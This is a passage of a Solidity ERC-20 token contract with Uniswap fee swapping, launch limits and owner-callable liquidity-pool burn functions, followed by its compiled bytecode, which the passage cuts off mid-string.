_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | 0x6080604052600436106103b15760003560e01c80638da5cb5b116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f2fde38b1161006f578063f2fde38b14610ac9578063f637434214610ae9578063f8b45b0514610aff578063fe72b27a14610b1557600080fd5b8063dd62ed3e14610a42578063e2f4560514610a88578063e884f26014610a9e578063f11a24d314610ab357600080fd5b8063c876d0b9116100dc578063c876d0b9146109dc578063c8c8ebe4146109f6578063d257b34f14610a0c578063d85ba06314610a2c57600080fd5b8063bbc0c7421461095d578063c02466681461097c578063c17b5b8c1461099c578063c18bc195146109bc57600080fd5b80639ec22c0e11610185578063a4c82a0011610154578063a4c82a00146108d7578063a9059cbb146108ed578063aacebbe31461090d578063b62496f51461092d57600080fd5b80639ec22c0e146108755780639fccce321461088b578063a0d82dc5146108a1578063a457c2d7146108b757600080fd5b8063924de9b7116101c1578063924de9b71461080a57806395d89b411461082a5780639a7a23d61461083f5780639c3b4fdc1461085f57600080fd5b80638da5cb5b146107b65780638ea5220f146107d457806392136913146107f457600080fd5b8063313ce567116102d7578063715018a61161026a57806375f0a8741161023957806375f0a8741461074b5780637bce5a041461076b5780638095d564146107815780638a8c523c146107a157600080fd5b8063715018a6146106e1578063730c1888146106f6578063751039fc146107165780637571336a1461072b57600080fd5b80634fbee193116102a65780634fbee1931461063c5780636a486a8e146106755780636ddd17131461068b57806370a08231146106ab57600080fd5b8063313ce567146105b257806339509351146105ce57806349bd5a5e146105ee5780634a62bb651461062257600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461054c57806327c8f8351461056c5780632c3e486c146105825780632e82f1a01461059857600080fd5b8063199ffc72146104ea5780631a8145bb146105005780631f3fed8f14610516578063203e727e1461052c57600080fd5b80631694505e1161038b5780631694505e1461044757806318160ddd146104935780631816467f146104b2578063184c16c5146104d457600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b35565b6040516103df9190612c9b565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612d05565b610bc7565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612d31565b602080526000908152604090205460ff1681565b34801561045357600080fd5b5061047b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561049f57600080fd5b506002545b6040519081526020016103df565b3480156104be57600080fd5b506104d26104cd366004612d31565b610bdd565b005b3480156104e057600080fd5b506104a4600f5481565b3480156104f657600080fd5b506104a4600b5481565b34801561050c57600080fd5b506104a4601d5481565b34801561052257600080fd5b506104a4601c5481565b34801561053857600080fd5b506104d2610547366004612d4e565b610c6d565b34801561055857600080fd5b50610408610567366004612d67565b610d4a565b34801561057857600080fd5b5061047b61dead81565b34801561058e57600080fd5b506104a4600d5481565b3480156105a457600080fd5b50600c546104089060ff1681565b3480156105be57600080fd5b50604051601281526020016103df565b3480156105da57600080fd5b506104086105e9366004612d05565b610df4565b3480156105fa57600080fd5b5061047b7f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a01881565b34801561062e57600080fd5b506011546104089060ff1681565b34801561064857600080fd5b50610408610657366004612d31565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561068157600080fd5b506104a460185481565b34801561069757600080fd5b506011546104089062010000900460ff1681565b3480156106b757600080fd5b506104a46106c6366004612d31565b6001600160a01b031660009081526020819052604090205490565b3480156106ed57600080fd5b506104d2610e30565b34801561070257600080fd5b506104d2610711366004612db8565b610e66565b34801561072257600080fd5b50610408610f8f565b34801561073757600080fd5b506104d2610746366004612ded565b610fcc565b34801561075757600080fd5b5060065461047b906001600160a01b031681565b34801561077757600080fd5b506104a460155481565b34801561078d57600080fd5b506104d261079c366004612e22565b611020565b3480156107ad57600080fd5b506104d26110c8565b3480156107c257600080fd5b506005546001600160a01b031661047b565b3480156107e057600080fd5b5060075461047b906001600160a01b031681565b34801561080057600080fd5b506104a460195481565b34801561081657600080fd5b506104d2610825366004612e4e565b611109565b34801561083657600080fd5b506103d261114f565b34801561084b57600080fd5b506104d261085a366004612ded565b61115e565b34801561086b57600080fd5b506104a460175481565b34801561088157600080fd5b506104a460105481565b34801561089757600080fd5b506104a4601e5481565b3480156108ad57600080fd5b506104a4601b5481565b3480156108c357600080fd5b506104086108d2366004612d05565b61123e565b3480156108e357600080fd5b506104a4600e5481565b3480156108f957600080fd5b50610408610908366004612d05565b6112d7565b34801561091957600080fd5b506104d2610928366004612d31565b6112e4565b34801561093957600080fd5b50610408610948366004612d31565b60216020526000908152604090205460ff1681565b34801561096957600080fd5b5060115461040890610100900460ff1681565b34801561098857600080fd5b506104d2610997366004612ded565b61136b565b3480156109a857600080fd5b506104d26109b7366004612e22565b6113f4565b3480156109c857600080fd5b506104d26109d7366004612d4e565b611497565b3480156109e857600080fd5b506013546104089060ff1681565b348015610a0257600080fd5b506104a460085481565b348015610a1857600080fd5b50610408610a27366004612d4e565b611568565b348015610a3857600080fd5b506104a460145481565b348015610a4e57600080fd5b506104a4610a5d366004612e69565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9457600080fd5b506104a460095481565b348015610aaa57600080fd5b506104086116bf565b348015610abf57600080fd5b506104a460165481565b348015610ad557600080fd5b506104d2610ae4366004612d31565b6116fc565b348015610af557600080fd5b506104a4601a5481565b348015610b0b57600080fd5b506104a4600a5481565b348015610b2157600080fd5b50610408610b30366004612d4e565b611797565b606060038054610b4490612ea2565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612ea2565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611a11565b50600192915050565b6005546001600160a01b03163314610c105760405162461bcd60e51b8152600401610c0790612edd565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c975760405162461bcd60e51b8152600401610c0790612edd565b670de0b6b3a76400006103e8610cac60025490565b610cb7906001612f28565b610cc19190612f47565b610ccb9190612f47565b811015610d325760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c07565b610d4481670de0b6b3a7640000612f28565b60085550565b6000610d57848484611b35565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610ddc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c07565b610de98533858403611a11565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd4918590610e2b908690612f69565b611a11565b6005546001600160a01b03163314610e5a5760405162461bcd60e51b8152600401610c0790612edd565b610e64600061240a565b565b6005546001600160a01b03163314610e905760405162461bcd60e51b8152600401610c0790612edd565b610258831015610efe5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c07565b6103e88211158015610f0e575060015b610f735760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c07565b600d92909255600b55600c805460ff1916911515919091179055565b6005546000906001600160a01b03163314610fbc5760405162461bcd60e51b8152600401610c0790612edd565b506011805460ff19169055600190565b6005546001600160a01b03163314610ff65760405162461bcd60e51b8152600401610c0790612edd565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461104a5760405162461bcd60e51b8152600401610c0790612edd565b601583905560168290556017819055806110648385612f69565b61106e9190612f69565b6014819055601910156110c35760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b505050565b6005546001600160a01b031633146110f25760405162461bcd60e51b8152600401610c0790612edd565b6011805462ffff0019166201010017905542600e55565b6005546001600160a01b031633146111335760405162461bcd60e51b8152600401610c0790612edd565b60118054911515620100000262ff000019909216919091179055565b606060048054610b4490612ea2565b6005546001600160a01b031633146111885760405162461bcd60e51b8152600401610c0790612edd565b7f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a0186001600160a01b0316826001600160a01b031614156112305760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c07565b61123a828261245c565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c07565b6112cd3385858403611a11565b5060019392505050565b6000610bd4338484611b35565b6005546001600160a01b0316331461130e5760405162461bcd60e51b8152600401610c0790612edd565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113955760405162461bcd60e51b8152600401610c0790612edd565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461141e5760405162461bcd60e51b8152600401610c0790612edd565b6019839055601a829055601b819055806114388385612f69565b6114429190612f69565b6018819055601910156110c35760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b6005546001600160a01b031633146114c15760405162461bcd60e51b8152600401610c0790612edd565b670de0b6b3a76400006103e86114d660025490565b6114e1906005612f28565b6114eb9190612f47565b6114f59190612f47565b8110156115505760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c07565b61156281670de0b6b3a7640000612f28565b600a5550565b6005546000906001600160a01b031633146115955760405162461bcd60e51b8152600401610c0790612edd565b620186a06115a260025490565b6115ad906001612f28565b6115b79190612f47565b8210156116245760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c07565b6103e861163060025490565b61163b906005612f28565b6116459190612f47565b8211156116b15760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c07565b50600981905560015b919050565b6005546000906001600160a01b031633146116ec5760405162461bcd60e51b8152600401610c0790612edd565b506013805460ff19169055600190565b6005546001600160a01b031633146117265760405162461bcd60e51b8152600401610c0790612edd565b6001600160a01b03811661178b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c07565b6117948161240a565b50565b6005546000906001600160a01b031633146117c45760405162461bcd60e51b8152600401610c0790612edd565b600f546010546117d49190612f69565b42116118225760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610c07565b6103e88211156118875760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610c07565b426010556040516370a0823160e01b81526001600160a01b037f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a01816600482015260009030906370a0823190602401602060405180830381865afa1580156118f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119169190612f81565b9050600061193061271061192a84876124b0565b906124c3565b90508015611965576119657f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a01861dead836124cf565b60007f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a0189050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119c557600080fd5b505af11580156119d9573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6001600160a01b038316611a735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c07565b6001600160a01b038216611ad45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c07565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b5b5760405162461bcd60e51b8152600401610c0790612f9a565b6001600160a01b038216611b815760405162461bcd60e51b8152600401610c0790612fdf565b80611b92576110c3838360006124cf565b60115460ff161561204c576005546001600160a01b03848116911614801590611bc957506005546001600160a01b03838116911614155b8015611bdd57506001600160a01b03821615155b8015611bf457506001600160a01b03821661dead14155b8015611c0a5750600554600160a01b900460ff16155b1561204c57601154610100900460ff16611ca2576001600160a01b0383166000908152601f602052604090205460ff1680611c5d57506001600160a01b0382166000908152601f602052604090205460ff165b611ca25760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c07565b60135460ff1615611de9576005546001600160a01b03838116911614801590611cfd57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d3b57507f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a0186001600160a01b0316826001600160a01b031614155b15611de957326000908152601260205260409020544311611dd65760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610c07565b3260009081526012602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2957506001600160a01b038216600090815260208052604090205460ff16155b15611f0d57600854811115611e9e5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c07565b600a546001600160a01b038316600090815260208190526040902054611ec49083612f69565b1115611f085760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b61204c565b6001600160a01b03821660009081526021602052604090205460ff168015611f4d57506001600160a01b038316600090815260208052604090205460ff16155b15611fc357600854811115611f085760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c07565b6001600160a01b038216600090815260208052604090205460ff1661204c57600a546001600160a01b0383166000908152602081905260409020546120089083612f69565b111561204c5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b3060009081526020819052604090205460095481108015908190612078575060115462010000900460ff165b801561208e5750600554600160a01b900460ff16155b80156120b357506001600160a01b03851660009081526021602052604090205460ff16155b80156120d857506001600160a01b0385166000908152601f602052604090205460ff16155b80156120fd57506001600160a01b0384166000908152601f602052604090205460ff16155b1561212b576005805460ff60a01b1916600160a01b17905561211d612624565b6005805460ff60a01b191690555b600554600160a01b900460ff1615801561215d57506001600160a01b03841660009081526021602052604090205460ff165b801561216b5750600c5460ff165b80156121865750600d54600e546121829190612f69565b4210155b80156121ab57506001600160a01b0385166000908152601f602052604090205460ff16155b156121ba576121b861285e565b505b6005546001600160a01b0386166000908152601f602052604090205460ff600160a01b90920482161591168061220857506001600160a01b0385166000908152601f602052604090205460ff165b15612211575060005b600081156123f6576001600160a01b03861660009081526021602052604090205460ff16801561224357506000601854115b156122fb57612262606461192a601854886124b090919063ffffffff16565b9050601854601a54826122759190612f28565b61227f9190612f47565b601d60008282546122909190612f69565b9091555050601854601b546122a59083612f28565b6122af9190612f47565b601e60008282546122c09190612f69565b90915550506018546019546122d59083612f28565b6122df9190612f47565b601c60008282546122f09190612f69565b909155506123d89050565b6001600160a01b03871660009081526021602052604090205460ff16801561232557506000601454115b156123d857612344606461192a601454886124b090919063ffffffff16565b9050601454601654826123579190612f28565b6123619190612f47565b601d60008282546123729190612f69565b90915550506014546017546123879083612f28565b6123919190612f47565b601e60008282546123a29190612f69565b90915550506014546015546123b79083612f28565b6123c19190612f47565b601c60008282546123d29190612f69565b90915550505b80156123e9576123e98730836124cf565b6123f38186613022565b94505b6124018787876124cf565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006124bc8284612f28565b9392505050565b60006124bc8284612f47565b6001600160a01b0383166124f55760405162461bcd60e51b8152600401610c0790612f9a565b6001600160a01b03821661251b5760405162461bcd60e51b8152600401610c0790612fdf565b6001600160a01b038316600090815260208190526040902054818110156125935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c07565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906125ca908490612f69565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161261691815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000601e54601c54601d5461264b9190612f69565b6126559190612f69565b90506000821580612664575081155b1561266e57505050565b60095461267c906014612f28565b83111561269457600954612691906014612f28565b92505b6000600283601d54866126a79190612f28565b6126b19190612f47565b6126bb9190612f47565b905060006126c985836129ee565b9050476126d5826129fa565b60006126e147836129ee565b905060006126fe8761192a601c54856124b090919063ffffffff16565b9050600061271b8861192a601e54866124b090919063ffffffff16565b905060008161272a8486613022565b6127349190613022565b6000601d819055601c819055601e8190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612791576040519150601f19603f3d011682016040523d82523d6000602084013e612796565b606091505b509098505086158015906127aa5750600081115b156127fd576127b98782612bba565b601d54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d806000811461284a576040519150601f19603f3d011682016040523d82523d6000602084013e61284f565b606091505b50505050505050505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a018166004820152600090819030906370a0823190602401602060405180830381865afa1580156128cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ef9190612f81565b9050600061290e61271061192a600b54856124b090919063ffffffff16565b90508015612943576129437f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a01861dead836124cf565b60007f00000000000000000000000075771c195ce146a9e2b43b5928f164643024a0189050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156129a357600080fd5b505af11580156129b7573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006124bc8284613022565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a2f57612a2f613039565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad1919061304f565b81600181518110612ae457612ae4613039565b60200260200101906001600160a01b031690816001600160a01b031681525050612b2f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a11565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612b8490859060009086903090429060040161306c565b600060405180830381600087803b158015612b9e57600080fd5b505af1158015612bb2573d6000803e3d6000fd5b505050505050565b612be5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a11565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015612c6f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c9491906130dd565b5050505050565b600060208083528351808285015260005b81811015612cc857858101830151858201604001528201612cac565b81811115612cda576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461179457600080fd5b60008060408385031215612d1857600080fd5b8235612d2381612cf0565b946020939093013593505050565b600060208284031215612d4357600080fd5b81356124bc81612cf0565b600060208284031215612d6057600080fd5b5035919050565b600080600060608486031215612d7c57600080fd5b8335612d8781612cf0565b92506020840135612d9781612cf0565b929592945050506040919091013590565b803580151581146116ba57600080fd5b600080600060608486031215612dcd57600080fd5b8335925060208401359150612de460408501612da8565b90509250925092565b60008060408385031215612e0057600080fd5b8235612e0b81612cf0565b9150612e1960208401612da8565b90509250929050565b600080600060608486031215612e3757600080fd5b505081359360208301359350604090920135919050565b600060208284031215612e6057600080fd5b6124bc82612da8565b60008060408385031215612e7c57600080fd5b8235612e8781612cf0565b91506020830135612e9781612cf0565b809150509250929050565b600181811c90821680612eb657607f821691505b60208210811415612ed757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f4257612f42612f12565b500290565b600082612f6457634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f7c57612f7c612f12565b500190565b600060208284031215612f9357600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561303457613034612f12565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561306157600080fd5b81516124bc81612cf0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130bc5784516001600160a01b031683529383019391830191600101613097565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603